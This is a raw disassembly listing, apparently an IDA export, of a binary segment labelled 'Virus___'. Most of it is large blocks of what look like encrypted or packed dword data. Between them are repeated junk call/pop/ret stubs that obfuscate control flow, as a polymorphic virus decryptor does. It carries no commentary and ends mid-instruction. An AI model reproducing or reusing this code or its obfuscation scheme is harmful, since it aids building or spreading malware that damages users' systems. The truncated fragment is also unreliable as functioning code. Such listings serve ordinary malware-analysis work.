0B1780CA6h, 0A8DB1CA9h, 7CF4C3B1h, 4B0E250Fh dd 22368903h, 1DEDA81h, 0A885199Bh, 0A0DAFE3Ch, 34DAFE74h dd 62DEDA18h, 5424195Fh, 235AD557h, 41DEDA03h, 2F3683E0h dd 87DEDAC0h, 0DB57A701h, 4BFE4B1h, 0DC6C5A3Fh, 0F86B5322h dd 7FD78710h, 21DEC9EBh, 0B7EF4981h, 0B2CF0FF7h, 3DF07682h dd 0BBFD6FFDh, 167FA380h, 38476787h, 0A887D35Bh, 7CFD9386h dd 0B86B5188h, 0ACD787C3h, 417BAEE5h, 0A46F8A39h, 0A8FADE91h dd 7CD8EB81h, 505B530Fh, 0DED78700h, 7CD59314h, 74DEB0C9h dd 21DED988h, 0E283FA30h, 5B25345h, 59A5B08h, 21DEC702h dd 0E28B9F03h, 0F8FECBB1h, 7E8F1486h, 0F9553549h, 0C98CDA5Ah dd 21DEDA1Bh, 7B1D802Ch, 25FA8E8Fh, 25FA9E82h, 21DEDA9Ah dd 961D8882h, 86680759h, 0A8F0C578h, 7CEE479Dh, 54535305h dd 0ACD7870Fh, 417BB286h, 73DEB088h, 21DED928h, 0E284FA60h dd 58A536Ah, 59A5B1Ch, 21DEC008h, 0E28C9806h, 33C86AB3h dd 81792A0h, 7CDBEF45h, 986BF369h, 71D78738h, 21DED5F1h dd 11E1AC0Ch, 8F16FDDBh, 0B363CB54h, 0DF49FCC4h, 4BFADE49h dd 22368860h, 1DEDA30h, 0A8841942h, 0A0DAFE58h, 38DAFE42h dd 63DEDA03h, 0D5C619D3h, 6FCF070h, 245367EBh, 3336D36Dh dd 41DEDA18h, 32945D50h, 8B74A159h, 32E079C0h, 45E5F372h dd 21D1327Dh, 0F5E1DA60h, 0BEADADA5h, 0BC826CE8h, 89508CEh dd 0F86B5105h, 7BD78728h, 0AAB849DEh, 98B88A0Eh, 4B4DF97Ch dd 22368D30h, 1DEDA18h, 0A8811953h, 0A0DAFE7Ah, 37DAFE47h dd 66DEDA81h, 82FD1997h, 304B25BEh, 4BD7871Ah, 22368A18h dd 1DEDA0Ch, 0A886195Eh, 0A0DAFE47h, 37DAFEC5h, 61DEDAC0h dd 0C9651930h, 0BC5B53DEh, 0AAD78732h, 7CD83B99h, 0C45B1D0Fh dd 2ED78700h, 4BDEDA81h, 22368BC0h, 1DEDA60h, 0A8871969h dd 0A0DAFE54h, 3CDAFE48h, 60DEDA06h, 98451952h, 3DF02EBh dd 0A2C8898Ch, 0B434F9Fh, 21B4D36Dh, 21DD324Fh, 7EFEDA0Ch dd 5D5785C5h, 655FDE27h, 21C9DEA5h, 7699DAC0h, 8F2044A3h dd 0E04B515Dh, 0A8D78731h, 7CCC2389h, 71DEB00Fh, 21DED9EBh dd 0E286FA81h, 59A5398h, 59A5B64h, 21DEC634h, 0E28E9A18h dd 0B20AE7B1h, 96D14B71h, 0E8635356h, 0AAD787ABh, 7CD2AF45h dd 0C4435769h, 0A8D7BA8Ah, 9C53DB5Bh, 2883DE29h, 9B616F8Bh dd 1267D363h, 0D2DEDA81h, 99ED3164h, 21DEDA60h, 22AA1A3Bh dd 0AADEC2DAh, 72D2FE48h, 21DEDAEEh, 0E25F8103h, 21DEDA96h dd 31FA8649h, 35FA9EE9h, 0DBE9626Bh, 0C121DAB6h, 25FA9E87h dd 31363AF9h, 0C5DEDA03h, 0E283ADFEh, 11E2F5BCh, 0E1C4B270h dd 7BBB1366h, 9FE1899h, 4BBFD8A0h, 22368906h, 1DEDA03h dd 0A88519DAh, 0A0DAFE9Ch, 3CDAFE24h, 62DEDA30h, 2AF0194Bh dd 4F3728D0h, 0A0010189h, 0AC0F5165h, 417BB23Ch, 725357C9h dd 99D7BADBh, 0B9F87105h, 31475F2Bh, 0EEF5D351h, 5521B4BAh dd 8121DD32h, 37FFEDAh, 44555784h, 14655FDEh, 1821C8DEh dd 837798DAh, 0A4F305E9h, 6AD98Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0F7730C3h, 281h, 8BCB8B00h dd 5D0A4D8Dh, 40E909h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 5AADBFC3h, 6A61EAh, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0F9D089C3h, 0C08BF9C3h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 27C35242h, 0BE606A13h, 31B44CC3h, 6E9h dd 0C34A5700h, 61843C03h, 1840Fh, 83FC0000h, 5D1809BDh dd 9750009h, 329BD83h, 7400095Dh, 8B535019h, 4B9B8C0h dd 85890000h, 95D1311h, 0AAC89D8Dh, 0D3FF095Fh, 0BD83585Bh dd 95D0329h, 50177400h, 4B9B853h, 85890000h, 95D1311h dd 0A7699D8Dh, 0D3FF095Fh, 13E9585Bh, 9C000000h, 61EADB1Ch dd 65284219h, 220B2451h, 0B0344AFEh, 6A68EAh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 88CAFCC3h dd 66F8F4C0h, 0F8DFD4Bh, 1883h, 12830F00h, 0E9000000h dd 0Dh, 607E76DBh, 0E6D7EF37h, 21A87CEEh, 6AC08B86h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0AB54C356h, 7880Fh, 860F0000h, 1, 0C18B40FCh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0AFC35545h, 2BDFE50Fh dd 44DEE88Bh, 4EBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 8FEF3FC3h, 8B27A852h dd 5D0585B5h, 6880F09h, 81000000h, 0B0192EEEh, 39858D69h dd 8B095D22h, 5D3301BDh, 8B0F9009h, 0Eh, 8E8h, 0F1FCCC00h dd 0FE55FDE3h, 50505F9Bh, 840F5252h, 0 dd 66310F5Eh, 5A45DFBFh, 6A9058h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 67F792C3h, 883301ABh dd 89E543D3h, 5D197DBDh, 42F68109h, 816060C5h, 577917E7h dd 6A006A30h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 10F1C353h, 65AADC63h, 399DFDDBh dd 0B58B006Ah, 95D302Dh, 0BEC4858Dh, 810F0960h, 6, 8D5B58Bh dd 0BF0F095Dh, 5C083F6h, 25FEE681h, 0B70F13E3h, 0FABF90F7h dd 506FFEAAh, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 0A0A54D0h, 0A4D1C360h, 29006AFAh dd 5D27AD85h, 6A006A09h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 6CA1C351h, 0CC1A9C8Ch dd 0FA74375h, 58Dh, 0DF816600h, 95FFFBB5h, 95D0851h, 0E081D781h dd 9D8D4CCBh, 960914Ch, 46DDE681h, 0B58B60B3h, 95D1941h dd 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0E8EEDAC3h, 77C700ABh, 0BD011335h, 95D30ADh dd 216985FFh, 0E781095Dh, 343FEA56h, 80BE9h, 0E800h, 815D0000h dd 60BECEEDh, 0FE909h, 0FD6B0000h, 75B5876Dh, 8A7EC0B2h dd 3D509AABh, 0F606049h, 85h, 9E900h, 0C8770000h, 71C17F1Eh dd 610EA65Ch, 6820Fh, 858B0000h, 95D0925h, 0E5BD8161h dd 0D0095D03h, 0F000007h, 1AC86h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 4890F95h, 66000000h dd 8BC150BEh, 5D337D9Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0DCAAFD16h, 100E381h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 37DEEDC3h, 4076958Dh, 0FE8B6640h, 850FDB0Bh dd 94h, 302DBD89h, 0BD83095Dh, 960BD16h, 63840F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0E8F7C356h, 634D958Ah, 0D878D84Bh, 19118589h dd 0F953095Dh, 7FE95Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 18057CC3h, 0C2226798h dd 0F911F71h, 58Ch, 0EF816600h, 85C7FC35h, 960BD16h, 1 dd 521B58Bh, 3AE9095Dh, 0F000000h, 38Dh, 0F78B6600h, 0BD1685C7h dd 960h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0F6F16C3h, 3EEE81A5h, 8B40E86Ah dd 7D9D8DF3h, 6A095D33h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0E90C351h, 42A5A6Dh dd 9589C927h, 95D2865h, 272DB503h, 2381095Dh, 0FFFFFEFFh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0CEC35141h dd 0EF570C5Fh, 0C1849AF7h, 1931BD8Bh, 0B70F095Dh, 0DB8C66FBh dd 6E9h, 0A0A5EE00h, 0E80FBA3Fh, 0Eh, 0A7C270CDh, 0EDF91DD4h dd 0FA95B9BCh, 850F3605h, 6, 870Fh, 0F65F0000h, 840F04C3h dd 5Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch dd 0DEC35040h, 6C2DFBB2h, 0BCA463D8h, 2EE1BD2Bh, 95FF095Dh dd 95D2A9Dh, 9E9h, 0FAAFD300h, 950D6E77h, 505016F6h, 0B0B66052h dd 310F5250h, 0F61585Ah, 0B963BF31h, 585A5CB2h, 89240489h dd 5D12BD85h, 447E909h, 0FE90000h, 85000000h, 9744C967h dd 70EE92FCh, 0BB07BBDh, 0B0596Eh, 0F85B589h, 70E6095Dh dd 6DB58B60h, 29095D05h, 5D31D18Dh, 71E46109h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0C0C35343h, 0B7B2BE66h dd 6AD8B60Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 8E2AC356h, 6BAD5h, 8D0F0000h dd 1, 6AC38BF9h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0B7B1C352h, 6604E8C1h, 0E860F18Bh dd 0Fh, 72EC157Ah, 852F3BAAh, 0CE6CBB1Ah, 8B80141Fh, 9D335FF1h dd 95D2F7Dh, 0E2F76661h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0A8C35646h, 53CBDD2Ch, 14E9h, 0ABD47500h dd 667826FCh, 0EEC0C2CBh, 4898E336h, 5D64DB66h, 0D82B5FE2h dd 93FABF0Fh, 8E9h, 0E6CCBD00h, 0B8759B85h, 11E850A6h dd 20000000h, 3CA15C3Ah, 88EB7922h, 92E96E9Bh, 0EBB860D9h dd 0DE8h, 0F733F600h, 0ABE3F77Eh, 6A9D34BDh, 5F5EE704h dd 56006A93h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 1BB3AC7Dh, 0B3928BA5h, 0E58589A1h, 0FF095D0Ah dd 5D03E5B5h, 95FFF509h, 95D11B1h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 1EC35747h, 0E0306CC5h, 8D899078h dd 95D0825h, 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 0C5E479C3h, 60CF310Ah, 5E9h, 56FEC00h dd 0D981AD69h, 2B7ABE97h, 6A70E661h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0D7E4C353h dd 5E8F18Bh, 45000000h, 3A92B06Ch, 12E9h, 5C4B7700h, 8F744E00h dd 89AB2F01h, 4FAC5988h, 5F01CD30h, 6A71E4h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 613CFDC3h dd 20F830Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0F0E38C3h, 1482h, 9E800h, 18B60000h dd 714E27B3h, 66012553h, 0B3A6DE81h, 0D8B60F5Eh, 0D0F78166h dd 6BAE8h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 19EE0DC3h, 9F31BA41h, 89013CAEh dd 5D2309B5h, 6AC38B09h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 66ADC350h, 2C08DE81h dd 0BE04E8C1h, 37A955EEh, 6AE2F766h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 7032C350h dd 25158D89h, 0D82B095Dh, 6A58F38Bh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 5FB1C357h dd 0EAC6ECC9h, 2B5EF852h, 1E880FD8h, 81000001h, 5083A7EFh dd 7B906h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 30BD3C3h, 6600C183h, 4B0D781h, 860FD93Bh dd 0E5h, 2481BD29h, 0FE9095Dh, 0BB000000h, 5CE7FB9Ch, 22E1A35Ch dd 44EC076Ch, 8C660A88h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 4C1F640h, 9B840Fh, 0FE8B0000h dd 74EE8166h, 9D95FF93h, 6A095D2Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0BCB2C352h dd 639D6F14h, 14BFF781h, 6A5B2135h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 597DC357h dd 2F658D89h, 0C32B095Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh dd 0E7C35545h, 375BE66Ah, 5ED52280h, 8343D19h, 860F0000h dd 11h, 26C9B58Bh, 0EE9095Dh, 81000000h, 1C3662E6h, 0BC08B11h dd 5D2ED9BDh, 8BC38B09h, 0F18B66D8h, 3C185C7h, 5B19095Dh dd 6A5631h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 797980C3h, 0DE8h, 53EB7A00h, 0A2B48B87h dd 0F6B64A10h, 9589D5F1h, 95D1A99h, 0CDB5895Eh, 8B095D24h dd 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 4ABF12FCh, 19D59589h, 0B523095Dh, 95D2395h dd 2F7DB523h, 0BD81095Dh, 95D03E5h, 7D0h, 61850Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 221F6CC3h, 9E8h, 291E2A00h, 9D451378h, 0BD8B4071h, 95D32C1h dd 0E585FF5Eh, 6A095D03h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 3414C355h, 6E6704EAh dd 0EF2AC73Dh, 0FFF38B66h, 5D03E5B5h, 61B58909h, 0FF095D2Bh dd 5D11B195h, 90F18B09h, 345678B8h, 95895612h, 95D0715h dd 0CD8D015Fh, 8D095D17h, 60C6B09Dh, 0F7FBE909h, 0BD89FFFFh dd 95D0FB5h, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 5155DEC3h, 8F0FB4h, 0EB000000h dd 4, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 0BCF94A75h, 0D28985h, 2239858Dh dd 6A095Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 0F15F69C3h, 0A23ED0DCh, 344BC02h, 5D2655BDh dd 12E85009h, 0C7000000h, 0F82BBEAAh, 1644C267h, 9810007Eh dd 4D98CEEFh, 8E928h, 3C030000h, 8AC8F384h, 895E1175h dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 0CA1209C3h, 0BD8960CEh, 95D2B19h, 0E27FCE81h dd 6A617BCEh, 5BD8B00h, 0F8095D0Bh, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BD8B62C3h dd 95D0BA9h, 0C91B858Dh, 6A0960h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 560746C3h, 0C08366D6h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0E7857A5Ah, 50FE8B90h, 12E8h, 5AD24B00h dd 0FA8DDA39h, 65CAB3CDh, 0D74BB03Bh, 0E8EC02F2h, 6, 16D20F06h dd 0FE8B7C0Ch, 6A905F5Eh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 1DAC351h, 85418ACCh dd 6A097Ch, 39BD8B50h, 5E095D0Bh, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0F273FCC3h dd 0CEDB80C6h, 21C78166h, 5195FF1Ah, 6A095D08h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 2219C357h, 9D44374h, 8B66A991h, 89B58BF1h, 8B095D03h dd 5D1221B5h, 4C9D8D09h, 66096091h, 54EDF681h, 0B529D3FFh dd 95D1159h, 216985FFh, 6A095Dh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0B6BBF4C3h, 0EFD92B85h dd 75958979h, 0E9095D31h, 86Ah, 0E8h, 0ED815D00h, 960C925h dd 0E5CE8166h, 0E5BD81B0h, 0D0095D03h, 0F000007h, 17F86h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 0CAF81865h, 24254CBCh, 0E9607B9Fh, 0Fh dd 24372F1Dh, 0BBB92A21h, 0DA462D05h, 56608184h, 22AD958Bh dd 6158095Dh, 14E1B589h, 9D8B095Dh, 95D153Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0F4C35343h, 4E3F5443h dd 89C378F9h, 5D16B9B5h, 0E38109h, 66000001h, 0BEDD5BFh dd 0A3850FDBh, 83000000h, 60C6FDBDh, 840F0009h, 50h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 92C35646h, 0B8E1995Ch dd 81E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 84BF9F39h, 0F3553C8h, 38Fh, 0F6B70F00h dd 0C6FD85C7h, 10960h, 10E90000h, 0D9000000h, 0E56423FFh dd 9CE86986h, 284FB496h, 0E903A9C8h, 32h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 15h, 0E5C35040h, 0DF64BE25h dd 85C707ADh, 960C6FDh, 0 ; --------------------------------------------------------------------------- sub [ebp+95D1699h], eax lea ebx, [ebp+95D153Dh] push 0 push edx call sub_5A75BF and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A75BF proc near ; CODE XREF: Virus___:005A75B7p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5A75BF endp ; --------------------------------------------------------------------------- db 0F4h dd 8B0F7E3Eh, 6, 98D31h, 2381095Dh, 0FFFFFEFFh, 6800Fh dd 0B58B0000h, 95D0BB5h, 89DB8C66h, 5D1A099Dh, 4C3F609h dd 37840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 5C36B1C3h, 1931B531h, 95FF095Dh dd 95D2A9Dh, 2B09B58Bh, 6650095Dh, 489F78Bh, 470E924h dd 0B58B0000h, 95D2EFDh, 33D1BD8Bh, 0B0095Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 23C35545h, 4349AFF8h dd 0AE8DBh, 195D0000h, 61B42056h, 0FDEDA0C3h, 8B76A3BEh dd 8B665E28h, 0E870E6F1h, 0Bh, 7DBFFB94h, 55BBC47h, 29DCEB8Dh dd 5D17C19Dh, 71E45E09h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0E3C35242h, 70A39D2Fh, 8BD9B458h, 5D1AA9BDh dd 0D8B60F09h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 0EDC35646h, 1FED9A46h, 0F1BD337Dh, 0F095D0Ch, 583h dd 82FBBE00h, 6BA1DCCh, 0E9000000h, 13h, 987C3E82h, 6541EABBh dd 2B5A5460h, 379AB084h, 8BA480A9h, 55006AC3h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 9DB80286h dd 0F1B58B46h, 89095D0Fh, 5D18399Dh, 4E8C109h, 0BEB100BEh dd 0E2F76608h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0B9C35141h, 8D0158E1h, 95D22B9h, 8D336060h, 95D2A3Dh dd 10E8h, 0BFC67B00h, 6C017A9Eh, 8AE17BECh, 0DE831E44h dd 89615A4Dh, 5D303D8Dh, 0D82B6109h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0F7C35646h, 25256F0Ch, 0C59D89E3h dd 50095D10h, 0AE8h, 0CB0C3300h, 0E6CABA60h, 50467B3Bh dd 18BF6652h, 0BF310FA0h, 2A5443D3h, 895E585Ah, 0BE66241Ch dd 0B5FFA045h, 95D03E5h, 216D8D89h, 8B66095Dh, 0B195FFFAh dd 0E8095D11h, 7, 78917644h, 0F52930ABh, 6600B05Eh, 70E6F78Bh dd 19B1B58Bh, 2B60095Dh, 5D0CDD8Dh, 71E46109h, 41958960h dd 2B095D1Dh, 5D2F45B5h, 613C6109h, 270830Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 7492F2C3h, 398D3173h, 0F095D24h, 68Eh, 81BD8B00h, 0F095D13h dd 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 8A0F81C3h, 6, 11A1BD8Bh, 6BA095Dh, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 87FDC357h, 964F6285h, 68B0Fh, 8D090000h dd 95D308Dh, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 10D962C3h, 0C18E095Bh, 890F04E8h dd 0 ; --------------------------------------------------------------------------- mul dx push 0 push edx call sub_5A7906 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A7906 proc near ; CODE XREF: Virus___:005A78FEp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5A7906 endp ; --------------------------------------------------------------------------- sbb al, 36h xchg eax, ecx mov eax, 751DB882h mov [ebp+95D063Dh], edi sub ebx, eax push 0 push esi call sub_5A7931 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A7931 proc near ; CODE XREF: Virus___:005A7929p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5A7931 endp ; --------------------------------------------------------------------------- db 4Ch, 52h, 0B7h ; --------------------------------------------------------------------------- mov esi, 4E12DAEh aam 98h sbb esi, 60A65EE2h jnp loc_5A795C mov edi, 3FBFCE16h loc_5A795C: ; CODE XREF: Virus___:005A7951j pop eax mov edi, 6AA1C62Ch sub ebx, eax js loc_5A7AAE movsx edi, si mov ecx, 7 mov edi, [ebp+95D1A01h] add ecx, 0 push 0 push edi call sub_5A7986 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A7986 proc near ; CODE XREF: Virus___:005A797Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5A7986 endp ; --------------------------------------------------------------------------- dec ebp cmp al, bh adc ds:0AFEB768Eh, ecx push esi mov esi, [ebp+95D32BDh] pop edi cmp ebx, ecx jbe loc_5A7AAE sub di, 74B4h mov cx, ds test cl, 4 jz loc_5A7AA0 push 0 push esi call sub_5A79CB and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A79CB proc near ; CODE XREF: Virus___:005A79C3p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5A79CB endp ; --------------------------------------------------------------------------- cmp al, 0B8h mov di, cx call dword ptr [ebp+95D2A9Dh] push 0 push esi call sub_5A79F1 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A79F1 proc near ; CODE XREF: Virus___:005A79E9p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5A79F1 endp ; --------------------------------------------------------------------------- db 0DEh, 31h, 7Bh ; --------------------------------------------------------------------------- mov ah, 0F8h pop ebx mov esi, ecx jmp loc_5A7A1A ; --------------------------------------------------------------------------- dw 8819h dd 9A632649h, 37B4DE58h db 13h, 0BAh ; --------------------------------------------------------------------------- loc_5A7A1A: ; CODE XREF: Virus___:005A7A09j sub eax, ebx push 0 push ebx call sub_5A7A27 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A7A27 proc near ; CODE XREF: Virus___:005A7A1Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5A7A27 endp ; --------------------------------------------------------------------------- pusha or al, 66h pop ss mov edi, [ebp+95D1381h] cmp eax, 834h jbe loc_5A7AA0 push 0 push esi call sub_5A7A57 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A7A57 proc near ; CODE XREF: Virus___:005A7A4Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5A7A57 endp ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dd 9640FC2Dh, 0E7816630h, 14E88953h, 0A2000000h, 0E6D27F99h dd 96A9B5B3h, 5886D2DFh, 0A1DF3B7Ah, 8192AEDDh, 3C4010EEh dd 17E95F61h, 23000000h, 5D20C9BDh, 0F9B70F09h ; --------------------------------------------------------------------------- loc_5A7AA0: ; CODE XREF: Virus___:005A79BAj ; Virus___:005A7A46j mov eax, eax jnp loc_5A7AAE mov edi, [ebp+95D2945h] loc_5A7AAE: ; CODE XREF: Virus___:005A7964j ; Virus___:005A79A9j ... mov eax, ebx mov ebx, eax jl loc_5A7ABE mov [ebp+95D09C9h], eax loc_5A7ABE: ; CODE XREF: Virus___:005A7AB2j mov dword ptr [ebp+95D337Dh], 3D2E09FDh add [ebp+95D1EBDh], eax mov eax, eax push 0 push eax call sub_5A7ADB and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A7ADB proc near ; CODE XREF: Virus___:005A7AD3p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5A7ADB endp ; --------------------------------------------------------------------------- db 0F9h dd 0F1BF0F89h, 3E5BD81h, 7D0095Dh, 850F0000h, 5Ch, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0FAC35646h, 1DD30243h dd 0D450BB6Eh, 0A1B503C4h, 0FF095D33h, 5D03E585h, 51006A09h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 3298DD53h, 7B2C1EB7h, 0B58BD721h, 95D2461h, 3E5B5FFh dd 95FF095Dh, 95D11B1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0FDC35747h, 0E1738149h, 6A4D5212h, 0E5958994h dd 66095D2Ah, 6A90FB8Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 3C0EC355h, 6A3B61h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 13751CC3h, 0BF669AF0h, 22BF6507h, 8B2BFFDCh, 5D20C9BDh dd 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0E8292E83h, 0FF98F5Ch, 9E88Fh, 75DC0000h dd 26433ED3h, 0F86CEB5h, 182h, 895FFC00h, 5D25018Dh, 55006A09h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 9E9C08Bh, 90000000h, 65EB544Fh, 0C079C972h, 2A59D31h dd 6A095Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0AA4FC6C3h, 0FC51BDF6h, 1DB58960h, 29095D25h dd 5D26D19Dh, 6A6109h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0D823D3C3h, 0BD8BA8A0h, 95D2ED9h dd 0E9FBBF0Fh, 0FFFFF79Ch, 2A58D89h, 0C18B095Dh, 9E9h dd 5775C800h, 1A639DEh, 4EB63E0h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5A7CDB and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A7CDB proc near ; CODE XREF: Virus___:005A7CD3p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5A7CDB endp ; --------------------------------------------------------------------------- align 4 or eax, 39858D17h and bl, [ebp+9] mov 